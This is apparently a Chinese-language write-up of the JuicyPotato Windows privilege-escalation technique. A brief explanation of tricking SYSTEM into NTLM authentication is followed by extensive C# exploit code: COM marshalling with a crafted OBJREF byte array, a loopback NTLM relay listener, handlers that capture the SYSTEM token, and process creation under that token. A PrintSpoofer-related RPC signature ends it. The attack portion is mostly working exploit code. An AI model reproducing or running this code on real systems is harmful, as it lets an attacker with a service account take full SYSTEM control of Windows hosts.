potato提权技术

1.欺骗高权限账户（SYSTEM）向我们控制的TCP端进行NTLM认证2.使用一些Windows API进行中间人攻击协商安全令牌3.冒充令牌

JuicyPotato通过BITS的CLSID传递给CoGetInstanceFromIStorage函数以触发rpcss激活BITS服务，然后DCOM OXID resolver解析OBJREF拿到DUALSTRINGARRAY字段后指定IP:PORT进行绑定，并向绑定的地址发起DCE/RPC请求。当攻击者创建并监听指定的IP:PORT，攻击者可以要求服务进行身份认证，在此进行中间人攻击并最终模拟令牌。

        public static IStorage CreateStorage(){            IntPtr gh = IntPtr.Zero;            IntPtr lb;            IStorage ret;            CreateILockBytesOnHGlobal(gh, true, out lb);            StgCreateDocfileOnILockBytes(lb, STGM.CREATE | STGM.READWRITE | STGM.SHARE_EXCLUSIVE, 0, out ret);            return ret;        }        //        public static void BootstrapComMarshal(){            IStorage stg = CreateStorage();
            Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097");
            TestClass c = new TestClass(stg);
            MULTI_QI[] qis = new MULTI_QI[1];
            qis[0].pIID = GuidToPointer("00000000-0000-0000-C000-000000000046");            qis[0].pItf = null;            qis[0].hr = 0;
            CoGetInstanceFromIStorage(null, ref clsid, null, CLSCTX.CLSCTX_LOCAL_SERVER, c, 1, qis);
        }

public void MarshalInterface(IStream pstm, ref Guid riid, IntPtr pv, uint dwDestContext, IntPtr pvDestContext, uint MSHLFLAGS){            uint written;            byte[] data = { 0x4D, 0x45, 0x4F, 0x57, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0,                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x94, 0x09, 0x34, 0x76,                0xC0, 0xF0, 0x15, 0xD8, 0x19, 0x8F, 0x4A, 0xA2, 0xCE, 0x05, 0x60, 0x86, 0xA3, 0x2A, 0x0F, 0x09, 0x24, 0xE8, 0x70,                0x2A, 0x85, 0x65, 0x3B, 0x33, 0x97, 0xAA, 0x9C, 0xEC, 0x16, 0x00, 0x12, 0x00, 0x07, 0x00, 0x31, 0x00, 0x32, 0x00,                0x37, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x31, 0x00, 0x5B, 0x00, 0x36, 0x00, 0x36,                0x00, 0x36, 0x00, 0x36, 0x00, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00 };            pstm.Write(data, (uint)data.Length, out written);        }

void COMListener() {
            try {                Socket listenSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);                listenSocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, 1);                //监听中间代理                listenSocket.Bind(new IPEndPoint(IPAddress.Loopback, port));                listenSocket.Listen(10);                readyEvent.Set();
                while (!listenSocket.Poll(100000, SelectMode.SelectRead)) {                    if (dcomComplete)                        return;                }
                Socket clientSocket = listenSocket.Accept();                Socket rpcSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);                rpcSocket.Connect(new IPEndPoint(IPAddress.Loopback, 135));
                byte[] buffer = new byte[4096];                int recvLen = 0;                int sendLen = 0;
                while ((recvLen = clientSocket.Receive(buffer)) > 0) {                    byte[] received = new byte[recvLen];                    Array.Copy(buffer, received, received.Length);
                    ProcessNTLMBytes(received);
                    if (negotiator.Authenticated) {                        break;                    }
                    sendLen = rpcSocket.Send(received);                    recvLen = rpcSocket.Receive(buffer);
                    if (recvLen == 0) {                        break;                    }
                    received = new byte[recvLen];                    Array.Copy(buffer, received, received.Length);
                    ProcessNTLMBytes(received);                    sendLen = clientSocket.Send(received);
                    if (listenSocket.Poll(100000, SelectMode.SelectRead)) {                        clientSocket.Close();                        clientSocket = listenSocket.Accept();                        rpcSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);                        rpcSocket.Connect(new IPEndPoint(IPAddress.Loopback, 135));                    }                }
                try {                    clientSocket.Close();                    rpcSocket.Close();                    listenSocket.Close();                } finally { }                                               } catch (Exception e) {                Console.WriteLine("[!] COM Listener thread failed: {0}", e.Message);                readyEvent.Set();            }        }

int ProcessNTLMBytes(byte[] bytes) {
            int ntlmLoc = FindNTLMBytes(bytes);            if (ntlmLoc == -1) return -1;
            byte[] ntlm = new byte[bytes.Length - ntlmLoc];            Array.Copy(bytes, ntlmLoc, ntlm, 0, ntlm.Length);
            int messageType = bytes[ntlmLoc + 8];            switch (messageType) {                case 1:                    //NTLM type 1 message                    return negotiator.HandleType1(ntlm);                case 2:                    //NTLM type 2 message                    int result = negotiator.HandleType2(ntlm);                    Array.Copy(ntlm, 0, bytes, ntlmLoc, ntlm.Length);                    return result;
                case 3:                    //NTLM type 3 message                    return negotiator.HandleType3(ntlm);                default:                    Console.WriteLine("Error - Unknown NTLM message type...");                    return -1;            }        }

public int HandleType1(byte[] ntmlBytes) {
            TimeStamp ts = new TimeStamp();
            int status = AcquireCredentialsHandle(null, "Negotiate", SECPKG_CRED_INBOUND, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, hCred, ts);
            if (status != SEC_E_OK) {                Console.WriteLine("Error in AquireCredentialsHandle");                return -1;            }
            SecBufferDesc secClientBufferDesc = new SecBufferDesc(ntmlBytes);            secServerBufferDesc = new SecBufferDesc(256);
            UInt32 fContextAttr;
            return AcceptSecurityContext(hCred, null, ref secClientBufferDesc, ASC_REQ_CONNECTION,                SECURITY_NATIVE_DREP, phContext, out secServerBufferDesc, out fContextAttr, ts);        }
        public int HandleType2(byte[] ntlmBytes) {
            SecBuffer secBuffer = secServerBufferDesc.GetSecBuffer();            byte[] newNtlmBytes = secBuffer.GetBytes();
            if (ntlmBytes.Length >= newNtlmBytes.Length) {                for (int idx = 0; idx < ntlmBytes.Length; ++idx) {                    if (idx < newNtlmBytes.Length) {                        ntlmBytes[idx] = newNtlmBytes[idx];                    } else {                        ntlmBytes[idx] = 0;                    }                }            } else {                Console.WriteLine("NTLM Type2 cannot be replaced.  New buffer too big");            }
            return 0;        }
        public int HandleType3(byte[] ntmlBytes) {
            SecBufferDesc secClientBufferDesc = new SecBufferDesc(ntmlBytes);            secServerBufferDesc = new SecBufferDesc(0);            CtxHandle phContextNew = new CtxHandle();
            UInt32 fContextAttr;            TimeStamp ts = new TimeStamp();
            int status = AcceptSecurityContext(hCred, phContext, ref secClientBufferDesc, ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,                SECURITY_NATIVE_DREP, phContext, out secServerBufferDesc, out fContextAttr, ts);
            if (status == 0) {                Authenticated = true;                IntPtr hToken;                if ((status = QuerySecurityContextToken(phContext, out hToken)) == 0) {                    Token = hToken;                }            }
            return status;        }

int FindNTLMBytes(byte[] bytes) {            //Find the NTLM bytes in a packet and return the index to the start of the NTLMSSP header.            //The NTLM bytes (for our purposes) are always at the end of the packet, so when we find the header,            //we can just return the index            byte[] pattern = { 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50 };            int pIdx = 0;            int i;            for (i = 0; i < bytes.Length; i++) {                if (bytes[i] == pattern[pIdx]) {                    pIdx = pIdx + 1;                    if (pIdx == 7) return (i - 6);                } else {                    pIdx = 0;                }            }            return -1;        }

if (executionMethod == ExecutionMethod.Token) {                        if (!CreateProcessWithTokenW(potatoAPI.Token, 0, program, finalArgs, CreationFlags.NewConsole, IntPtr.Zero, null, ref si, out pi)) {                            Console.WriteLine("[!] Failed to created impersonated process with token: {0}", Marshal.GetLastWin32Error());                            return;                        }                    } else {                        if (!CreateProcessAsUserW(impersonatedPrimary, program, finalArgs, IntPtr.Zero,                            IntPtr.Zero, false, CREATE_NEW_CONSOLE, IntPtr.Zero, @"C:", ref si, out pi)) {                            Console.WriteLine("[!] Failed to created impersonated process with user: {0} ", Marshal.GetLastWin32Error());                            return;                        }                    }

DWORD RpcRemoteFindFirstPrinterChangeNotificationEx(     /* [in] */ PRINTER_HANDLE hPrinter,    /* [in] */ DWORD fdwFlags,    /* [in] */ DWORD fdwOptions,    /* [unique][string][in] */ wchar_t *pszLocalMachine,    /* [in] */ DWORD dwPrinterLocal,    /* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions)